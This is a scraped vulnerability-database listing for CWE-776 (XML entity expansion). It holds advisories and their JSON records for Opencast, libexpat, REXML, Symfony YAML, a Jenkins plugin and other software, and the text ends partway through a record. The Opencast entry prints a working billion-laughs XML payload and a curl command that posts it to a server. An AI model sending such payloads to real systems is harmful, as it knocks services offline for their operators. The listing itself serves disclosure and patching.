Common Weakness Enumeration

CWE-776

Allowed

Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

142 vulnerabilities reference this CWE, most recent first.

GHSA-9GJX-M56F-J2FC

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40
VLAI
Details

The Dashboard Editor in Hitachi Vantara Pentaho through 7.x - 8.x contains an XML Entity Expansion injection vulnerability, which allows an authenticated remote users to trigger a denial of service (DoS) condition. Specifically, the vulnerability lies in the 'dashboardXml' parameter. Remediated in >= 7.1.0.25, >= 8.2.0.6, >= 8.3.0.0 GA

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{
  "affected": [],
  "aliases": [
    "CVE-2020-24665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-29T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Dashboard Editor in Hitachi Vantara Pentaho through 7.x - 8.x contains an XML Entity Expansion injection vulnerability, which allows an authenticated remote users to trigger a denial of service (DoS) condition. Specifically, the vulnerability lies in the \u0027dashboardXml\u0027 parameter. Remediated in \u003e= 7.1.0.25, \u003e= 8.2.0.6, \u003e= 8.3.0.0 GA",
  "id": "GHSA-9gjx-m56f-j2fc",
  "modified": "2022-05-24T17:40:33Z",
  "published": "2022-05-24T17:40:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24665"
    },
    {
      "type": "WEB",
      "url": "https://www.accenture.com"
    },
    {
      "type": "WEB",
      "url": "http://www.hitachi.com/hirt/hitachi-sec/2020/601.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9GWX-9CWP-5C2M

Vulnerability from github – Published: 2021-06-17 20:11 – Updated: 2021-10-21 13:40
VLAI
Summary
Billion laughs attack (XML bomb)
Details

Impact

Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (createMediaPackage.xml) like this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
 <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
 <!ELEMENT title (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
  <title>&lol5;</title>
  <media/>
  <metadata/>
  <attachments/>
  <publications/>
</mediapackage>

Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:

curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
  -F 'mediapackage=<createMediaPackage.xml' \
  -F sourceFlavors="" \
  -F sourceTags="" \
  -F deleteExternal="" \
  -F tagsAndFlavor='' \
  -o out.xml

Additional notes:

  • You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
  • Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
  • To exploit this, users need to have ingest privileges, limiting the group of potential attackers

Patches

The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.

Workarounds

There is no known workaround for this issue.

References

For more information

If you have any questions or comments about this advisory:

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.opencastproject:opencast-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-16T20:07:19Z",
    "nvd_published_at": "2021-06-16T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nOpencast is vulnerable to the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)  which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.\n\nConsider an XML file (`createMediaPackage.xml`) like this:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e\n\u003c!DOCTYPE lolz [\n \u003c!ENTITY lol \"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry\u0027s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. \"\u003e\n \u003c!ELEMENT title (#PCDATA)\u003e\n \u003c!ENTITY lol1 \"\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\"\u003e\n \u003c!ENTITY lol2 \"\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\"\u003e\n \u003c!ENTITY lol3 \"\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\"\u003e\n \u003c!ENTITY lol4 \"\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\"\u003e\n \u003c!ENTITY lol5 \"\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\"\u003e\n]\u003e\n\u003cmediapackage xmlns=\"http://mediapackage.opencastproject.org\" id=\"d162d5b2-b54f-4400-a268-ee6565b0e6e7\" start=\"2020-01-23T23:08:37Z\"\u003e\n  \u003ctitle\u003e\u0026lol5;\u003c/title\u003e\n  \u003cmedia/\u003e\n  \u003cmetadata/\u003e\n  \u003cattachments/\u003e\n  \u003cpublications/\u003e\n\u003c/mediapackage\u003e\n```\n\nThrowing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100\u00a0000 times, instantly consuming a huge amount of memory:\n\n```sh\ncurl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \\\n  -F \u0027mediapackage=\u003ccreateMediaPackage.xml\u0027 \\\n  -F sourceFlavors=\"\" \\\n  -F sourceTags=\"\" \\\n  -F deleteExternal=\"\" \\\n  -F tagsAndFlavor=\u0027\u0027 \\\n  -o out.xml\n```\n\nAdditional notes:\n\n- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.\n- Opencast\u0027s XML parser does limit the expansion to 100\u00a0000 times, already limiting the attack. Nevertheless, this can already harm the system. \n- To exploit this, users need to have ingest privileges, limiting the group of potential attackers\n\n### Patches\n\nThe problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.\n\n### Workarounds\n\nThere is no known workaround for this issue.\n\n### References\n\n- [Billion laughs attack explained](https://en.wikipedia.org/wiki/Billion_laughs_attack)\n- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n- Email us at [security@opencast.org](mailto:security@opencast.org)",
  "id": "GHSA-9gwx-9cwp-5c2m",
  "modified": "2021-10-21T13:40:37Z",
  "published": "2021-06-17T20:11:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/security/advisories/GHSA-9gwx-9cwp-5c2m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32623"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/16b0d641713fe31b8518fcf14fc5e4e815d81206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/8ae27da5a6f658011a5741b3210e715b0dc6213e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opencast/opencast"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Billion laughs attack (XML bomb)"
}

GHSA-C24F-2J3G-RG48

Vulnerability from github – Published: 2023-03-20 21:26 – Updated: 2023-03-20 21:26
VLAI
Summary
kaml has potential denial of service while parsing input with anchors and aliases
Details

Impact

Applications that use kaml to parse untrusted input containing anchors and aliases may consume excessive memory and crash.

Patches

Version 0.53.0 and later default to refusing to parse YAML documents containing anchors and aliases.

Workarounds

None.

References

Wikipedia has an explanation of this class of vulnerability: billion laughs attack

Acknowledgements

Thank you to @gdude2002 for reporting this issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.charleskorn.kaml:kaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.53.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-28118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-20T21:26:59Z",
    "nvd_published_at": "2023-03-20T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nApplications that use kaml to parse untrusted input containing anchors and aliases may consume excessive memory and crash.\n\n### Patches\nVersion 0.53.0 and later default to refusing to parse YAML documents containing anchors and aliases.\n\n### Workarounds\nNone.\n\n### References\nWikipedia has an explanation of this class of vulnerability: [billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)\n\n### Acknowledgements\nThank you to @gdude2002 for reporting this issue.",
  "id": "GHSA-c24f-2j3g-rg48",
  "modified": "2023-03-20T21:26:59Z",
  "published": "2023-03-20T21:26:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/charleskorn/kaml/security/advisories/GHSA-c24f-2j3g-rg48"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charleskorn/kaml/commit/5f82a2d7e00bfc307afca05d1dc4d7c50593531a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/charleskorn/kaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charleskorn/kaml/releases/tag/0.53.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kaml has potential denial of service while parsing input with anchors and aliases "
}

GHSA-C2F4-JGMC-Q2R5

Vulnerability from github – Published: 2025-09-17 18:26 – Updated: 2025-09-19 14:41
VLAI
Summary
REXML has DoS condition when parsing malformed XML file
Details

Impact

The REXML gems from 3.3.3 to 3.4.1 have a DoS vulnerability when parsing XML containing multiple XML declarations. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities.

Patches

REXML gems 3.4.2 or later include the patches to fix these vulnerabilities.

Workarounds

Don't parse untrusted XMLs.

References

  • https://www.ruby-lang.org/en/news/2025/09/18/dos-rexml-cve-2025-58767/ : An announcement on www.ruby-lang.org
Severity
1.2 (Low)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.1"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "rexml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.3"
            },
            {
              "fixed": "3.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-17T18:26:48Z",
    "nvd_published_at": "2025-09-17T18:15:52Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nThe REXML gems from 3.3.3 to 3.4.1 have a DoS vulnerability when parsing XML containing multiple XML declarations.\nIf you need to parse untrusted XMLs, you may be impacted to these vulnerabilities.\n\n### Patches\n\nREXML gems 3.4.2 or later include the patches to fix these vulnerabilities.\n\n### Workarounds\n\nDon\u0027t parse untrusted XMLs.\n\n### References\n\n* https://www.ruby-lang.org/en/news/2025/09/18/dos-rexml-cve-2025-58767/ : An announcement on www.ruby-lang.org",
  "id": "GHSA-c2f4-jgmc-q2r5",
  "modified": "2025-09-19T14:41:30Z",
  "published": "2025-09-17T18:26:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/rexml/security/advisories/GHSA-c2f4-jgmc-q2r5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58767"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/rexml/commit/5859bdeac792687eaf93d8e8f0b7e3c1e2ed5c23"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/rexml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rexml/CVE-2025-58767.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2025/09/18/dos-rexml-cve-2025-58767"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "REXML has DoS condition when parsing malformed XML file"
}

GHSA-C2P3-7M5P-CV8X

Vulnerability from github – Published: 2026-05-27 21:33 – Updated: 2026-05-27 21:33
VLAI
Summary
Symfony hardened the parser when handling untrusted input
Details

Description

Symfony\Component\Yaml\Parser is the entry point for parsing YAML strings into PHP values via Yaml::parse(). When the parser is exposed to attacker-controlled input, deeply nested mappings or sequences cause both the block-level (Parser::parseBlock()) and inline (Inline::parseSequence() / Inline::parseMapping()) parsers to recurse without a depth limit. A crafted document exhausts the PHP stack and crashes the worker.

Resolution

The Parser now tracks recursion depth in a shared ParserState object across both block-level and inline parsing, with a default limit of 128. The limit is configurable via a new $maxNestingLevel argument on Parser::__construct(), Yaml::parse() and Yaml::parseFile().

The patch for this issue is available here for branch 5.4.

Credits

Symfony would like to thank Pietro Tirenna (Shielder) for reporting the issue and Nicolas Grekas for fixing it.

Severity
2.7 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-674",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T21:33:07Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Description\n\n`Symfony\\Component\\Yaml\\Parser` is the entry point for parsing YAML strings into PHP values via `Yaml::parse()`. When the parser is exposed to attacker-controlled input, deeply nested mappings or sequences cause both the block-level (`Parser::parseBlock()`) and inline (`Inline::parseSequence()` / `Inline::parseMapping()`) parsers to recurse without a depth limit. A crafted document exhausts the PHP stack and crashes the worker.\n\n### Resolution\n\nThe `Parser` now tracks recursion depth in a shared `ParserState` object across both block-level and inline parsing, with a default limit of **128**. The limit is configurable via a new `$maxNestingLevel` argument on `Parser::__construct()`, `Yaml::parse()` and `Yaml::parseFile()`.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/914f427ed9630ddb3904dafba763e53d9f133fe3) for branch 5.4.\n\n### Credits\n\nSymfony would like to thank Pietro Tirenna (Shielder) for reporting the issue and Nicolas Grekas for fixing it.",
  "id": "GHSA-c2p3-7m5p-cv8x",
  "modified": "2026-05-27T21:33:07Z",
  "published": "2026-05-27T21:33:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/security/advisories/GHSA-c2p3-7m5p-cv8x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/commit/914f427ed9630ddb3904dafba763e53d9f133fe3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45133.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/yaml/CVE-2026-45133.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/symfony/symfony"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2026-45133"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Symfony hardened the parser when handling untrusted input"
}

GHSA-CF2R-VPQC-55G6

Vulnerability from github – Published: 2025-01-29 12:31 – Updated: 2025-01-29 12:31
VLAI
Details

An attacker with access to an HX 10.0.0 and previous versions, may send specially-crafted data to the HX console. The malicious detection would then trigger file parsing containing exponential entity expansions in the consumer process thus causing a Denial of Service.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-0617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-29T11:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An attacker with access to an HX 10.0.0  and previous versions, may send specially-crafted data to the HX console.  The malicious detection would then trigger file parsing containing exponential entity expansions in the consumer process thus causing a Denial of Service.",
  "id": "GHSA-cf2r-vpqc-55g6",
  "modified": "2025-01-29T12:31:45Z",
  "published": "2025-01-29T12:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0617"
    },
    {
      "type": "WEB",
      "url": "https://thrive.trellix.com/s/article/000014214"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CH5V-H69F-MXC8

Vulnerability from github – Published: 2024-03-10 06:30 – Updated: 2025-11-05 00:31
VLAI
Details

libexpat through 2.6.1 allows an XML Entity Expansion attack when there is isolated use of external parsers (created via XML_ExternalEntityParserCreate).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-28757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-10T05:15:06Z",
    "severity": "HIGH"
  },
  "details": "libexpat through 2.6.1 allows an XML Entity Expansion attack when there is isolated use of external parsers (created via XML_ExternalEntityParserCreate).",
  "id": "GHSA-ch5v-h69f-mxc8",
  "modified": "2025-11-05T00:31:17Z",
  "published": "2024-03-10T06:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28757"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libexpat/libexpat/issues/839"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libexpat/libexpat/pull/842"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FPLC6WDSRDUYS7F7JWAOVOHFNOUQ43DD"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LKJ7V5F6LJCEQJXDBWGT27J7NAP3E3N7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VK2O34GH43NTHBZBN7G5Y6YKJKPUCTBE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FPLC6WDSRDUYS7F7JWAOVOHFNOUQ43DD"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LKJ7V5F6LJCEQJXDBWGT27J7NAP3E3N7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VK2O34GH43NTHBZBN7G5Y6YKJKPUCTBE"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240322-0001"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/03/15/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CMGM-Q8HF-P7JC

Vulnerability from github – Published: 2022-05-24 17:13 – Updated: 2022-12-20 14:35
VLAI
Summary
XXE vulnerability in Jenkins Code Coverage API Plugin
Details

Code Coverage API Plugin 1.1.4 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks. This allows a user able to control the input files for the \"Publish Coverage Report\" post-build step to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Code Coverage API Plugin 1.1.5 disables external entity resolution for its XML parser.

Severity
7.1 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.jenkins.plugins:code-coverage-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-2172"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-20T14:35:40Z",
    "nvd_published_at": "2020-04-07T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "Code Coverage API Plugin 1.1.4 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks. This allows a user able to control the input files for the \\\"Publish Coverage Report\\\" post-build step to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.\n\nCode Coverage API Plugin 1.1.5 disables external entity resolution for its XML parser.",
  "id": "GHSA-cmgm-q8hf-p7jc",
  "modified": "2022-12-20T14:35:40Z",
  "published": "2022-05-24T17:13:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2172"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/code-coverage-api-plugin/commit/f0ef84c25f7bc4de4e722e994de57d238225834c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/code-coverage-api-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2020-04-07/#SECURITY-1699"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/04/07/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XXE vulnerability in Jenkins Code Coverage API Plugin"
}

GHSA-CV78-JP3V-7557

Vulnerability from github – Published: 2022-06-22 00:00 – Updated: 2022-06-29 00:00
VLAI
Details

OBDA systems’ Mastro 1.0 is vulnerable to XML Entity Expansion (aka “billion laughs”) attack allowing denial of service.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-40511"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-21T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "OBDA systems\u2019 Mastro 1.0 is vulnerable to XML Entity Expansion (aka \u201cbillion laughs\u201d) attack allowing denial of service.",
  "id": "GHSA-cv78-jp3v-7557",
  "modified": "2022-06-29T00:00:26Z",
  "published": "2022-06-22T00:00:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40511"
    },
    {
      "type": "WEB",
      "url": "https://www.cyberiskvision.com/advisory"
    },
    {
      "type": "WEB",
      "url": "https://www.obdasystems.com/mastro"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F474-GGQF-8JP5

Vulnerability from github – Published: 2024-06-05 00:30 – Updated: 2024-06-11 18:30
VLAI
Details

~/.config/apport/settings parsing is vulnerable to "billion laughs" attack

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-28652"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-04T22:15:09Z",
    "severity": "MODERATE"
  },
  "details": "~/.config/apport/settings parsing is vulnerable to \"billion laughs\" attack",
  "id": "GHSA-f474-ggqf-8jp5",
  "modified": "2024-06-11T18:30:42Z",
  "published": "2024-06-05T00:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28652"
    },
    {
      "type": "WEB",
